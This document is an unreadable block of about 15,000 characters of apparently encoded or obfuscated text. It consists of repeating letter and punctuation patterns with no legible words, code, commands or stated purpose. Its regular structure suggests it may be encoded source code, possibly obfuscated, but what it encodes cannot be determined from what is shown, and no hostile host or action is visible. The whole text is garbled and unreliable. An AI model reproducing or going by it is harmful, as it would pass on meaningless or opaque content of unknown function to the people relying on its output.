OV_SWNGZYGWKG@	@GGZYGOCR_GGZZZGGGEENGGGGGGXGVGGGG]GGGWN\mmGmGGGGGGGGGGO _	S^OV_SVNOCUT8 8<8T OV_TTN:NGGGYGGGGGOVSJSNNGmGGGGCS_TGGGGGZGG	\mmmmGGGGGCQWTTSGGGGZG	\mmmGGGGOCUT8 8< _	S^OV_TTN:GGGGCVUV		PQ	GZYGGC
_QVVWNGmmmGGGGGGGOCQWTTSGGGZZZGGG	GGO	NGC
_QVVW<T
OVW_WN:GG[GGGGGCQWTTSNGC	WZOWLWPSN\CS88	ZC	WB^\mmmmGGGGGGGCQWTTSGGZGO	NGC
_QVVW<Q^	UOVW_WN:\mCS_TGZGGGCVUV		PQ	\mmGmGGmGGGGGOCS_TGGZZZGGG	NG\mGWT	OCUT8 8<8T OV_SUN:<CS_T:<@@:N\mGGG	OCUT8 8<Q^	UOV_SUN:<CS_T:N\mGGGGGGmmGGGGG'8	OT
OV_STNKGGGGCUT8 8KGGGG _	S^OVPSTNN\mGGG8T ORUUNOT
OV_SSNN\mG	GGG\mGmmmGGGG		GW_U_	VS
OC
_VQ NmGGGGGmmmmGGGC	GGZG'T
OV_SRNOC
_VQ KGGO _	S^OVVRTNGGGZYGGO^LTNKGGGGT
OVVSQNGGGZYGGKGG _	S^OSS_NGZYGGKGGGGGG _	S^OV_SQNGGGGGZYGGWKGGGGG _	S^OVVS_NGGZYGGOT
OVVS^NGGGGGZYGT
OV_SPNKGGGGG8T OV_S_NGGGGZYGGT
OVVRWNNNN\mGGGGGGGGGOT
OV_S^NOT
OV_RWNNGGAAG88OC	NNGG	GOJVKGN\mGGGGGGC
S_RUWVGGGGGGZGGT
OV_S^NOQ^	UOV_RVNNGGGXGO	NGGG8
88	8OC	NGG]GW\mGG	GGOC
S_RUWVKGGC
S_RUWVGGGGYGGWGAAGGGGQ^	UOV_RUNOT
OV_RTNNGXGO	 NGGGGG8
88OC	NGGG]GEEN\mGGm		GGGT
	8
QPOC^ NmmGGCVPVP_GGGGGGZGGG'8T OV_RSNOC^ <@@:N\CSVSQS_SZV_MR\CVZCSVSQS_SJSW\mmGGOF8T OV_VSNOCVPVP_NNG	G\mGGGGGGGGGOCVPVP_GGGGZZZGGGGGEENGmGGGO
OC^ <@	@:NNG	GG\GmGGGGC W_
GGGZGGF' _	S^OV_RRNOC^ <@@:N\mGGGGGGGOFC W_
NGGGGGC
SSTZ7/78.)38*&?H7/78.)38*&?\CQ8	ZC
SSTLUR\mGGGGT8OC^ <@@:KGGOTP^LSVNN\mGGGGGGGC W_
GGZGWT	OC^ <@@:N\mGGGmGGGGGOT
OV_RUNO8T OUWWNNNG'8	OC^ <@@:KGN\mGG	GC W_
\CRWZ7/78*&-(581"54.()\C	^UZCRWMV\mGGGGmGGGGGGGGGGGOFTST		RVOC^ <@@:KGGCVPVP_NNGGGG	GG\mmGGGGGGGOQ^	UOV_RUNO8T OUWWNNNGG'8	OC^ <@@:KGGN\mmmGGGG	GGG\mmmmGGGG		GGGG	8	SVONmGGmGOFQ^	UOV_RUNOT
OV_RQNNNGG	\mGGCUT8 8GGZGG' 8	OT
OV_STNKGONN\mmmGGGGGGOF8T OV_UVNOCUT8 8NNG	\mGGGGGGGGGGGOFOCUT8 8<8T OV_SUN:NGGGGF _	S^OV_UVNOCUT8 8<T
OV_RPN:NNGGGGGGmGGGC	TSP_GGZGON\mGGGGGGGGGOOCUT8 8<@@:KGGCUT8 8<@@:KGGGCUT8 8<@@:NNGmmmmC	TSP_<Q^	UOVPQRNOO	 NGGCUT8 8<@@:N:GGGZGGGO@@GGGZYGGGGGO	 NGGGGGCUT8 8<@@:KGG@@GZYGO	 NGGGCUT8 8<@@:KGG@@GGZYGGO	 NGCUT8 8<@@:KGQ^	UOVW_WNGGZYGGOCUT8 8<Q^	UOV_R_N:NGGGGGXGGO	NGCUT8 8<Q^	UOV_R_N:GG]GT
OV_T^NONKGT
OV_SWNGZYGGWN\mmCUT8 8GGZGOQ^	UOV_RPNGGZYGGGC	TSP_N\CSQ_
ZSUMQ\C  SSUZCSQ_
JVQ\mGmGGGGO
OCUT8 8<T
OV_RPN:NNGGGGmG'8	OQ^	UOV_STNN\mG	\C^RR8ZQWU\CVVZC^RR8BVQ\mmGGGGGGGC	RSQ^_GGGZGGG\mmGGOC	RSQ^_NGGGGG	\mmGGGGGGC	RSQ^_GGZGGG\mGGGGGO8T OV_RUNO _	S^OV_R^NNNG'8T OV_R^NON\mGGGGGGO _	S^OV_RUNOT
OV_QWNNNGGGG'8T OV_QVNON\mGGGGGOT
OV_RUNOT
OV_QUNNNGGGG' _	S^OV_QTNON\mGGGGGGGGGOF8T OV_RUNO8T OV_QSNNGGGFT
OV_RUNOQ^	UOP_TNNNG	\mGGC
	PGGZGGGG
8O@H@N\mmGGGC8SWQR GZGGGG8T OV_RUNOT
OQTQNNGGGXG8 	8ONGGGGG]GC
	PGGIG _	S^OV_QRN\mGGGC QQU^_TGGGGGZGGGGGG\mGGGCPS8^U
GGZGGG\mC	Q^8RGZGOVLUN\mGGGGGGOCUT8 8<8T OV_RPN:GGCVWVW	VGGZYGGC^ NGGmGGGGGGGOFQ^	UOV_UVNOC^ NGGGGGG
OC^ <@@:NGGGG
OC^ <@@:NGGGGGG
OC^ <@@:NNGGmGG	OCUT8 8< _	S^OV_RPN:<CVWVW	V:N\mGGC QQU^_TGGZG\mGG		\mGGmGGGGGGO8T OV_QQNONGGJGGO	NGGC^ <Q^	UOV_R_N:GGYGOTTULVSQ_NGGGGO	NGGGGC^ <T
OV_SWN:GGGYZGGO^JTNNGmmmGGGGSS_UU8OT
OV_TSNKGGGG _	S^OV_QPNGIGGQ^	UOVQPQNOC^ <@@:NN\mGGGGWT	OC^ <@@:N\mGGGGGG	OCUT8 8<Q^	UOV_RPN:<CVWVW	V:N\mGGGC QQU^_TGGZGGGGG\mGGG		\mGGGmGGGGGGGGGGGOC	Q^8RGGG[ZGWNG\mGGC	Q^8RJJ\mGGCP8QUQUGGGGZGQ^	UOV_Q_NGGIGGQ^	UOV_Q^NOC^ <@@:NGIG8T OV_PWNGGIGGGT
OVVSSNOOWUVLWVRQNKGGORVQVTWLS_T_Q^NN\mGOC
S_RUWVKGGC	
8WNGGGGGZGGGGW_U_	VS
OC
	PGIGGCP8QUQUN\mGOC
S_RUWVGGYGGWNGGCPS8^U
GZG\mGGGGGGGOC
S_RUWVGGG[ZGGGWGAAGT
OV_PVNOQ^	UOP_PNNNGGGGT
OP_PNOUN\mGGGGGGGOC
S_RUWVGGGGG[ZGGWNGGGmmmGGGOC
S_RUWVKGGGC	
8WNGZGGW_U_	VS
OC
	PGIGGGGGCP8QUQUN\mmmGGGGGOC
S_RUWVGYGGGGWNGGGGGGCPS8^U
GGGZG\mmmmmGGGGGGOC
S_RUWVG[ZGWNGmGGCUT8 8<T
OV_RPN:<CVWVW	V:<Q^	UOV_SWN:LL\mC QQU^_TGZGGG\m		\mmmmGGGmGGGGOC
S_RUWVGGYZGGOSTSLQQNNGGGGmGGGGGGGGGOT
	8
QPOC^ NNGmGSS_UU8O _	S^OV_TSNKG _	S^OV_PUNGGGGGGIG8T OVQPQNOC^ <@@:NN\mWT	OC^ <@@:N\mmmmG	OCUT8 8<Q^	UOV_PTN:<CVWVW	V:N\mGGGGGGGmmmGCUT8 8< _	S^OV_PTN:<CVWVW	V:<T
OV_SWN:LL\mGGGGmC QQU^_TGZGG\m		\mGGmGGGGGGGOQ^	UOV_PSNOC	
8WKG _	S^OV_PRNGGGIGGGGC^ <@@:GGGIGQ^	UOV_PQNNGGGFZZGGGNGGGGmGWT	OC^ <@@:N\mG	OCUT8 8<T
OV_PTN:<CVWVW	V:N\mGGC QQU^_TGZG\m		\mmGGmGGOC8^RPQVKGGGGGC8NGGZGGW_U_	VS
OC8SWQR GIGO _	S^OV_PPNOC8SWQR KGGGG@X@NGZZZGGGGGXGGGG@X@GGG]G@A@NGGGIGG _	S^OV_P_NGGIGQ^	UOV_Q^NOC^ <@@:NGGGIG _	S^OV_PWNGGGGGIGQ^	UOVVSSNOOVW_TRWJ_TRWNKGOVVRS^TL__SRWQNNN\mGGGGGGGGGOC8^RPQVGGYGGGWNGCPS8^U
GZG\mmmGGGGGOC8^RPQVGGGGGYZGGGGO^TLSWPNNGGmGGGGGOT
	8
QPOC^ NNGGGGmHHG07G3 G$]GG	 	mmmGGGSS_UU8OQ^	UOV_TSNKGGQ^	UOV_P^NGGGGGIGGGQ^	UOVQPQNOC^ <@@:NN\mmmmGGGGGGWT	OC^ <@@:N\mGGG	OCUT8 8<8T OV_PTN:<CVWVW	V:N\mmGGGGGGGGGGmGGCUT8 8<Q^	UOV_PTN:<CVWVW	V:<8T OV_SWN:LL\mGGGmGC QQU^_TGGGGGZG\mmG		\mmmGmGGGGGGGO _	S^OV_VSNOC8NGGGAAGGGGGQ^	UOV_PPNOC8KGQ^	UOV_PRNGIGC^ <@@:GGIGT
OV_PQNNGGGGFZZGNGGGmWT	OC^ <@@:N\mGGG	OCUT8 8<8T OV_PTN:<CVWVW	V:N\mGGGC QQU^_TGGZGGGG\mmmm		\mGmGGGCUT8 8< _	S^OV__WN:<CVWVW	V:<8T OV_SWN:LL\mGC QQU^_TGGZGG\mGmGGGGGOCPS8^U
GGAAGC QQU^_TGAAGF
OCUT8 8<Q^	UOV__WN:NNGGCTV
Z7/78*&-(581"54.()\CSP8	^_T8ZCTV
MT\mmmGGGGGGCSRUUGGGGZG\mGGGGGGGOCUT8 8<8T OV__WN:GGGGGCSRUTNGGGGmHHG
GJGG07G%G1	mmGGGGGOO	NGCSRUT< _	S^OV_SWN:GYZGGGGGOSJVNNGmCSRUUGGZGGGG\CV	ZP_U\C8WRZCV	B^\mGG\mGGGmGGGmmmGGGOCSRUUNGGGm'8	O _	S^OQURNKGGGG _	S^OV__VNGIGGG _	S^OV__UNONKGGGGGT
OVPSTNN\mmmGGGGSS_UU8OT
OV_TSNKG8T OV__TNN\mGGOCUT8 8<Q^	UOV__SN:GGGCVUV		PQ	GGGGGGZYGGCSRUTNGGGGGmGGGGGWT	OCSRUT<@@:N\mGGGG	OCUT8 8<T
OV__SN:<CVUV		PQ	:N\mGGmmGGGGmmmmGGmmGGGGGGGGGGOFCPS8^U
NGmHHG07G6G+GGmmGGCRTUP_WGGGZG' 8	OQ^	UOQURNKGGGGEEN\mGGGGGGGGGGGOF _	S^OV__RNOCRTUP_WNGGGGGGGG _	S^OV__QNOCRTUP_WKGGGG _	S^OVPRVNNGGGGFZZGGWNGG'8	OQ^	UOV__PNKGGGQ^	UOV___NGGGIGGG _	S^OV__UNONKGGGT
OVPSTNN\mGGGmGGGO
OCUT8 8< _	S^OV__SN:NNGG'8	O8T OV_STNN\mGGGGGGGOC QQU^_TNGGGGG'8	OT
OV_STNKGGGGGGCUT8 8KGGQ^	UOV__^NN\mGGGGmGGGG		GS		OC
U WWNmmGGGmG	GGGGG8T OV_^WNOC
U WWNGGGGGAAGGOQ^	UOV_^VNOC
U WWKGT
OV_^UNNGGGFZZGGGGGGGGGQ^	UOV_^VNOC
U WWKGGG8T OV_^TNNGGGFZZGGGGGGGGT
OV_^VNOC
U WWKG8T OVRRTNNGGGFZZGGGGGGGGGQ^	UOV_^VNOC
U WWKGGG _	S^OV_^SNNGGGFZZGGGGGGG8T OV_^VNOC
U WWKG8T OV_^RNNGGGFZZGGGGGGQ^	UOV_^VNOC
U WWKGGGGQ^	UOV_^QNNGGGGFZZGGGGGN\mGGGm		GGUT
R8
	8
OC
U WWNmGmGGGOFS		OC
U WWNNGGGGGG	G\mGGGGGGGGGO^
VOC
U WWNNGGG	GG\mGGGGGGO8T OVP_^NO8T OV_^PNKGC
U WWKGGGGGCPVR^
	Q^PNNGGmmmmGGGGOCPVR^
	Q^P<V:GGGGGGGGC
_QVVWNGmGGO	8
OC
_QVVWKGG _ Q	QTPONKGGGG@[@NNGG	GGGGG\mGGGGmGGG	G\mGGm	GG\mGGGGmGGG		GGGG8			Q	
U^UOCT
TUP	VNmmGGGOF'Q^	UOV_RRNOCT
TUP	VNGGGGGGGGF'T
OVQQQNOCT
TUP	VNNGGGGG	\mGGC

^W UGGGGGZGGG' _	S^OVPRQNOCT
TUP	VN\mmGGGGGGOFC

^W UNGG	\mGGGOC

^W UGGGYGGGOVWS_RQQUL^_NNGGmGGCSWPGGGZGG' _	S^OV_RSNOCT
TUP	VKGGGGGKGG	KGGWKGOQRSR_LP_NN\mGGGGGGGOFS		OCSWPNNGG	\mGGGGGGO  SS P  OCT
TUP	VNGGGGZZZGGGGNGGmGGGGSS_UU8OT
OV_^_NKGG8T OV_^^NGGGIGG _	S^OVQPQNOCT
TUP	VNN\m	\mmG'8T OV^WWNOCT
TUP	VKGGGGGE[X;	EN\mGGGOQ^	UOV_PVNO8T OUWWNNNG'8	OCT
TUP	VKGN\mG	\mmGGGGGOC

^W UGGGYGGOVQRQQUUJQW_WSQNNGGGGGmGGGCWSTSSGGGGZGGGGGO	 NGG'8T OV_RSNOCT
TUP	VKGGKGG	KGWKGGOWVT_LWPTNN\mGGC
VPPSTQGGZGGGOC

^W UGGGGYGGGOVRSTQJPUSSNNGGXGGGGGO	 NGG'T
OV_RSNOCT
TUP	VKGGKGGGG	KGC

^W UGGGJGGGGGO_VPSLV_NNG]GGEE\mGGGCU	USGGGGZGGCWSTSSGGIGC
VPPSTQ\mGGGOCU	USGGFZZGGGGGEEGGAAGGGQ^	UOVP_^NOT
OV_^PNKGGGCU	USKGGGC
NNGGmC^SWR
_VGZGGG\mGGGGGOC
<V:GGGC_RUPWWNGGGmGGGGGGGGO	8
OC_RUPWWKGGG _ Q	QTPONKGGGGGG@[@NNGmGGC^SWR
_VGGZGG\m\mGGmGGmGGGGGGGGGOFC^SWR
_VNG	\mmGGmGC
U WWGGGZG'Q^	UOV^WVNOCT
TUP	VN\mmmGGGO8T OV_^WNOC
U WWNGGGAAGGGT
OV^WUNOC
U WWNGGGYGO^U^Q^SLVV___UNNGGC
U WWGZGG8_PRSPOC
U WWN\mGGGGGGOF8T OV_^WNOC
U WWNNGGG	\mGGGGGGGGGOFUT
R8
	8
OC
U WWNNGGGGG	\mGG8RR_OCT
TUP	VKGC
U WWN\mGGGGGGm		GG8RR_OCT
TUP	VKGGC
U WWNmmmmC

WUW VGGZGGQ^	UOV^WTNOQ^	UOV^WSNKGGGGGEEKGC
U WWN\mGGGOF8T OV^WRNOC

WUW VNGGGGGGGT
OVU_VNOC

WUW VNGZZZGGGEEGGGG8T OVU_VNOC

WUW VNGZZZGGQ^	UOPQVNNGGC

WUW VGGGZGGE[X;	E\mGGGGGOT
OV^WUNOC

WUW VNGGGGGYZGGOUSLSPQNGGGAAGGGFR	^W8POC

WUW VNNGC

WUW VGGGZGGGGGGE[X;	E\CVTZ7/78.)38*&?H7/78.)38*&?\C
QZCVTLSR\mGC8
WUGGGZG'
OCT
TUP	VN\mmmGGGGGGGC8
WUGGGGZGGOC8
WUGGGZZZGGNGXGGGOU^WLVTWNGGG]GGOC8
WUGGGAGOSTPLPSNN\mGGC VUST^GGGGZGGGG' _	S^OV^WQNOCT
TUP	VN\mGCQW^_8UQGZGG' _	S^OUQNOQ^	UOVUQ^NOCT
TUP	VNKGGGGT
OV^WPNN\mGGGGGGOCQW^_8UQGGZZZGGGGNGGGG	\mGGGO'T
OV^WWNOCQW^_8UQKGGGC

WUW VNGGFZZGG _	S^OV^WUNOC

WUW VNNGGmGGGGGGG'Q^	UOPPVNOCQW^_8UQN\mGGG	\mGmGG'Q^	UOVQSNOCQW^_8UQKGGGC8
WUN\mGOF'Q^	UOV^^NOCQW^_8UQKGGCT
TUP	VNNGGmGG' _	S^OPPVNOCQW^_8UQN\mGGGG	\mGGGGGGGGmGGGGOC VUST^NGGGG' _	S^OUVNOCT
TUP	VKGGC VUST^N\mGGGGGOQ^	UOV_PVNO8T OV^W_NNNGGGG'8	OCT
TUP	VKGN\mGGGGGGmmmG		GGGGGWQQ^_OCVNmGmmmGGGGGOF8T OV^W^NOCVNNG	GEE\mGGGO8T OVPUVNOQ^	UOV^VWNKGGCVKGGGGC 8Q88U^NNGGGGGmGCU GZGGC 8Q88U^<V:\mmmmmGGGGC

^W UGGZGG'Q^	UOV_RRNOCU NGGGGXGG' _	S^OVPRQNOCU NGGG]GW\mGGOFC

^W UGGGC

^W UGG[GGOWPLWVVNGGGGGC

^W UGGGYGORUSU_PQPLTTNNGmHHG	GmmGGGGGGOC

^W UGGYGGOPS_VT_TVJUUT_RWTVNNGmmmGGGC ^R	SGGGGGZGGG'8T O_T_NOCU N\mGGGGGOF _	S^OV^VVNOC ^R	SNNGGGGC ^R	SGGZGCU \mC ^R	SGGZGQ^	UOVP_UNO@;;@KGGG@H@KGC ^R	SN\mC^_RQUGZGGG\mGGGCU^8GGZGGGGO	OQ^	UOV^VUNNGXGGGGGT
OVSSSNO&%47&3/KGT
OVSVPNNG]GEEKGGGG	OT
OVQQ^NNGXGT
OVSSSNO078$()3")38#.5KGGG _	S^OVSVPNNG]GEEN\mmmmGGGGGGGGOCU^8GGGGGCT^ 		NGGGGGmGGGCT^ 		GGZG _	S^OVP_UNO@;;@KGGG@H@KGGCT^ 		N\mGGGGGGGGGOCT^ 		GGGGFZZGEEGGAAGT
OV_^VNOC ^R	SKGGGGCT^ 		GGGGGIG@H@NGZZZGGWNGmGGGGC^_RQUGZGGGGG\m\mGmmmmmGGGGGGGGGGGOC^_RQUGGAAGG  SS P  OCU NGFZZGGGNGGmG'T
OPPVNOCU N\m' _	S^OPPVNO _	S^OV^VTNOCU NGGIGGGGGT
OP^^NGGGGGIGG _	S^OVQPQNOCU KGGGGT
OVPQVNNN\mGGGGGGGGGGGmGGSS_UU8OT
OV_^_NKGG _	S^OV^VSNGIGGQ^	UOVQPQNOCU NN\mmGGmmmGGGG	GGGEE\mmmmmmHHGG	
G
	 J	mmGGGG	GGCV\mmmmGGGGGGGG		GG	RVSUVRSURPONmmmGGCU GGZG	\mGGGOCU GGZZZGGGGG	NGGGGmGGGGGGCUVS^RPQGGGGGZGGGGPQ_VRTVON\mGGGCU GGGGZGGGGOT
OV_UVNOCUVS^RPQNGGGGGAAGOCUVS^RPQ<8T OQRRN:NGGAAGT
OV_^VNOO	 NGGCUVS^RPQ<T
OV^VRN:KG _	S^OV^VQNNGGGGGGZZZGGGWN\mmG	GGCU \mGmmmmGGGG		GGGGG QWUWSONmGGmGGGOF	O _	S^OV^VPNNNGGGGGG	\mmCU
V

PGGGGGZGG&%47&3/GGGIG _	S^OVRPRN\mGGGOF'8T OV_RRNOCU
V

PNNGGGmGGC	 GGZGG _	S^OV^VTNO&%47&3/NGGIGGGG _	S^OV^V_N\mGGO'8T OV^V^NOC	 NNGCU
V

PGGGZGGGGC	 \mmmGGmGGGGGGGGGGGOF'Q^	UOV^UWNOCU
V

PNGGGGGGF'Q^	UOV^UVNOCU
V

PNNGG	\mGGGGGC ^R	SGZGGGG'T
OV^UUNOCU
V

PN\mmmmGGGGGO8T OV^VVNOC ^R	SNGGGAAGGGC ^R	SGFZZGGEEGGAAG'T
OV^UTNOC ^R	SNNGCU
V

PGGZGGGGGC ^R	S\mGGGGGGGGO'8T OV^USNOCU
V

PNGYGGOWVUQRR^LWU^PNNGGGG	\mGGGC
U WWGGGGZG' _	S^OV^URNOCU
V

PN\mGGGGGOF8T OV^UQNOC
U WWNGGGGGC
U WWGGZZZGEENG	\mGGGGCR^WGZGGO8T OV_^VNOC
U WWKGQ^	UOV^UPNNGGGFZZGGGGGG8T OV_^VNOC
U WWKGT
OV^U_NNGFZZGGN\mC8VS GZG\mGGOT
OV^U^NOC
U WWKG8T OV^TWNNGZZZGGGNGmHMG
	 GGMHmmGGGGOF
OC +(%&+4< _	S^OV^TVN:NNGGGmGGC8VS GGGZG\mGGGGGGGGGGGmmmGCP
 
R
GGZGQ^	UOV_PVNO _	S^OV^TUNNGGXGGGT
OV^TTNONGGGG]GGGGGG8T OV^TSN\mmmmGGGGGOF'8T OV^TRNOCP
 
R
NGGGGF'Q^	UOV^TQNOCP
 
R
NNGGC8VS GGZGGGGG\mmGmGmmmmCR88GGGGZGGGG\mmC_	RPSPGGGGZGG\mGGGGGGGOF _	S^OVPUVNO _	S^OV^TPNKGC
U WWNGGGAAG	O8T OVQQ^NNNGmGGGGGGC8GGZGGGGG078$()3")38#.5GGIGGGGG8T OVT^SN\mmmmGGGGGGGGGO'8T OV^UWNOC8NNGGGGmGGGGGC
PQ8_GGGZGO	 NGGG'8T OV^T_NOC8KGGKGGGG	KGGGGGWKGGOWLWRSQNN\mmmGGGGO8T OV^U^NOC
PQ8_KGGGQ^	UOV^T^NNGFZZGGGGGNGGCR88GGGGZG\mGGGmGGGGGOmGG _	S^OV^SWNOC
U WWKGGGGGQ^	UOQWVNNGZZZGGGGGGmAAG _	S^OVPUVNO8T OV^SVNKGGGGGC
U WWNmmNGmmGGC_	RPSPGGGZGG\mGGGGGGmGGGC
VSP^GGGGZGGGG\mGGGGGGO	RVSUVRSURPONNGGCU	ZRTUS\C^WW	ZCU	BVR\mmmmGGGGGOmGGGGGGGFT
OVPUVNOQ^	UOV^SUNKGGGGC
U WWNmGGGGGF _	S^OVPUVNO _	S^OV^STNKGC
U WWNmGGFQ^	UOV^SSNOT
OV^SRNKGGGGC
U WWNmGNGGC
VSP^GZGGGGG\mGmGGOFCR^WGAAGGGGFC8VS GGGAAGFCR88GAAGGGFC
VSP^GGGGGAAGGGGFC_	RPSPNG	\mmmmGGC
SGGZGGEE\mGGGGC

WUW VGZGGGC
U WW\mGGOCR^WNGGGmGGGGGGOT
OVP_^NO8T OV^SQNKGGGC
U WWKGGC^PT	NNGGC
SGGIZGGG _	S^OV^SPNOE;	EKGC^PT	<W:N\mGGGGC

WUW VGGZG8T OV^WTNOQ^	UOV^S_NKGGGEEKGGGC
U WWN\mmmGGGGGOFQ^	UOV^UQNOC

WUW VNNGGG	\mGGGGGOT
OV^S^NOQ^	UOV^RWNKGGGGGGC

WUW VKGGGCTRR
VUNNGGGGGC
SGIZGGGE;	EGIGGT
OV^SPNOE;	EKGGCTRR
VU<W:N\mC

WUW VGGZGGQ^	UOV^RVNOT
OV^RWNKGEEKGGGGC

WUW VN\mGGGOFQ^	UOV^UQNOC

WUW VNNGGG	\mmGGGGGGGGOC8VS GAAGGGG _	S^OV^SSNOQ^	UOV^RUNKGGGC

WUW VNNGmGC

WUW VGGGGGZG _	S^OV^RVNO8T OV^RTNKGGQ^	UOV^RSNGGGGIGGGGGE	OG@0783"*78#.5@KGOG	OG@078$()3")38#.5@GNGXG078$()3")38#.5G]G&%47&3/GIG@J		@GNGIG@HI8
@GN\;	EKGC

WUW VKGVN\mGGGGGGGOF _	S^OV^RRNOC

WUW VNNG	\mmGGGGGmmmGGGGGGGGOCR88GGGGGAAGT
OV^RQNO _	S^OV^RUNKGC

WUW VNNGGmGC

WUW VGZGGG _	S^OV^RPNO8T OV^R_NKGG8T OV^R^NGIGGE	OG@078$&$/"@KGGN\GHMG4$80$GMH;	EKGC

WUW VKGGGVN\mGGGGGOFT
OV^RRNOC

WUW VNNG	\mGGGGGGGGGOC_	RPSPNGGGGmGC

WUW VGGGGGZGT
OV^QWNO8T OV^QVNKGQ^	UOV^R^NGIGE	OG@078$&$/"@KGGN\GHMG4$80$GMH;	EKGGC

WUW VKGGGGGVN\mGGGGGGOF _	S^OV^RRNOC

WUW VNNGGGGGG	\mGmmGGGGGGGGOC
VSP^NGGGGmGGGGGGC

WUW VGGGGGZGG _	S^OV^QWNO _	S^OV^QUNKGGGGEEKGGGC

WUW VN\mGGGGOFQ^	UOV^RRNOC

WUW VNNGGG	\mGGGGO8T OV^QTNO _	S^OV^R_NKGGGC

WUW VNNGGGGmGGGGGGC

WUW VGZGT
OV^QSNOT
OV^R_NKGT
OV^QRNGGIGGGE	OG@078#"%2 @KGGN\;		OG@078#"%2 8+( @KGGN\;		OG@078#"%2 8#.47+&>@KGGN\;	EKGC

WUW VKGGGGVN\mmGGGGGGGGGOF _	S^OV^QQNOC

WUW VNNGG	\mmmmGGmGGGGGGGGGGGGOC

WUW VGGZZZGGC
U WWNGG	\mGGGGGGOFR	^W8POC

WUW VNNGGGGG	\mGGGGOCR88GGGGGGAAGF	WV8^ROCU
V

PKGGGGC
U WWNNGmmmGGGGSS_UU8OT
OV^QPNKGGG8T OVQSVNN\mGC

WUW VGGGZG8T OV^QSNO8T OV^Q_NKGGT
OV^Q^NKGGGGC

WUW VKGGGGVN\mGGGGGGOFQ^	UOV^QQNOC

WUW VNGGGGGGGGC

WUW VGZZZGC
U WWNGGGGGG	\mGGGGGGGGGGOFR	^W8POC

WUW VNNGGG	\mGmmmGGGGGC8
WUGGZG'
OCU
V

PN\mGGGGGGC8
WUGGGZGGGGOC8
WUGGZZZGGNGGXGOWVULWPNGGG]GGGGGOC8
WUGGGGGAGGOUQ_LUSTNN\mGC VUST^GZGG'Q^	UOV^WQNOCU
V

PN\mGGGCQW^_8UQGZGG' _	S^OUQNO8T OV^VTNOCU
V

PNKGGGGGQ^	UOV^PWNN\mGGGGGGGGGOCQW^_8UQGZZZGGGGNGGGGG	\mGGGGGGGGO'Q^	UOV^WWNOCQW^_8UQKGGGGC

WUW VNGGGFZZGGGG8T OV^WUNOC

WUW VNNGm'Q^	UOPPVNOCQW^_8UQN\mGGGG	\mmGG'Q^	UOV^PVNOCQW^_8UQKGGC8
WUN\mGGOF'8T OV^^NOCQW^_8UQKGGCU
V

PNNGGGGmHMG	GGMHmmmGGGGG'Q^	UOPPVNOCQW^_8UQN\m	\mGmGGGGGGGOC VUST^NG' _	S^OUVNOCU
V

PKGGC VUST^N\mGGGO _	S^OV_PVNOQ^	UOV^W_NNNGGGG'8	OCU
V

PKGGGGN\mGGGGGGGOT
OV^S^NO _	S^OV^PUNKGGGGC
SKGCR
NNGGGGmGGGGGO _	S^OVU_UNOCR
<V:NGGGGGGCWT^NGGGmGGGO8T OV^PTNOCWT^KGGGG _	S^OV^U_NNGGGGZZZGGGWGAAGGGG'8T OV^UWNOCWT^NNG'T
OPPVNOCWT^N\mGmGGGmGGGO8T OV_PVNOQ^	UOV^PSNNGGGGGGAAG8T OV^S^NO8T OV^PRNKGGGC
SKGGGCP	VVSSNNGmGGGGGGO8T OV^PQNOCP	VVSS<V:NGGGCT
SQ	NGGmGGGGGO _	S^OV^QTNO8T OV^PPNKGGCT
SQ	NNGG'8	OCT
SQ	N\mmmGmGGGGGmGGGmGGGGG		GG
TRTQPQSQONmGGGmmmmGGGGGGOF	OT
OV^P_NNNGG	\mmmmGGC
^V^UGGGGGGZGGGG	O _	S^OVQQPNNGGGGXGG07*287+2 .)8#.5GG]GGGGGG078$()3")38#.5GGGIGGT
OV^P^N\mC8 UGGGGGZGGON\mGGGGGGGGGGOQ^	UOV^_WNO _	S^OV^_VNNNGmGGGGGGGO'8T OV^TRNOC
^V^UNNGGGGGOONG'Q^	UOV^_VNOC
^V^UGGGIGGGGT
OQQUNNGGGGGGC_PU WNGGGGGGC8 U<:GZGC_PU W\mGGGGO	O8T O_U_NNGAAG'T
OV^_UNO0787+2 .)8#.5NNGGGGGGGOONGGGG' _	S^OV^_VNO0787+2 .)8#.5GIG8T OV^_TNNGGGGGGGC_PU WNGC8 U<:GZGGGGGC_PU W\mGGmGGGGGGC	 GZGGGGG	O8T OV^VPNNGGGXG&%47&3/GG]GGGGEE\mGGGCVTR_RGGGGGZGG078$()3")38#.5GGIGGG8T OV^_SNGGIGGGT
OVP^_NO _	S^OVPQRNOC	 GGIGGG8T OSRNNKGGGGGWKGOVWJUNNGIGG8T OV^_RNGGGIGGGT
OVP^_NOQ^	UOVPQRNOC	 GGIGG _	S^OSPNNKGWKGOVUT9VVRNNGIGGQ^	UOVPQVN\mmmGO' _	S^OV^_QNOCVTR_RNNGC8 U<:GGZGCVTR_R\mGGGGGOC8 UGGGC_PU WNGmC VUST^GZG'Q^	UOV^WQNOC_PU WN\mmmmGGGOFC VUST^GGOC VUST^GGBGGGGOVVQR_WJVQR_WNNGFZZGGGGO^T_VULPNNGGGmmmmGGGGCV_PGGGGGZG'8T OV^USNOC_PU WN\mGGGGOFCV_PGGGGGCV_PGG[GGOS_VLV^NGGGGGCV_PGGGGYGGGGGOUP^PUSRULUSSRQTS_NNGGGG		\mGGmHHG07G$G%GGmmC ^R	SGGZGG'Q^	UOV^_PNOC_PU WN\mHHG07G*G3G%]G	G		mmGCQRT_GGGZG'Q^	UOV^__NOVQ^^WWT
WONN\mGGGGGGGGGOQ^	UOV^QQNOC ^R	SNGGGGAAGGQ^	UOV^QQNOCQRT_NGAAGGC ^R	SGGGZZZGGGCQRT_NG		\mGCP^TSGGGGGGZGG'8T OV^T_NOC_PU WKGGGKGGGGG	KGGWKGGGOQRPPJUS_VNN\mGGGGGGOF _	S^OV^QQNOCP^TSNGGGGGG _	S^OV^PTNOCP^TSKGG8T OV^_^NNGGGGZZZGNG		\CRPW_U  ZVWMQ\CWQZCRPW_U  JTV\mmmmGGGGOFQ^	UOV^^WNOQ^	UOV^^VNKGGGGGCP^TSKGC
NNGG		\mmmGGOF	8
OC
<V:KGG _ Q	QTPONKGGGGG@[@NNGGGG		\mmmGGGC	GGGGGZGG  SS P  OC_PU WN\mGOC	GZZZGGGNGGGmmmmGSS_UU8OQ^	UOV_^_NKGGQ^	UOV^^UNGIGGGGGT
OV^^TNOC_PU WNN\mGGGGGGG		\mGmHHG	G
GG07G1G%mmmmGGGGGGOC	GZZZGNGmmmmGGGGOPRW8UOC_PU WKGGGGC_PU WGGIGG8T OV^_NNNGGmGGGGO _	S^OV^_WNO8T OV^^SNNNGGGG'8	OC_PU WKGN\mmGGGGmG'T
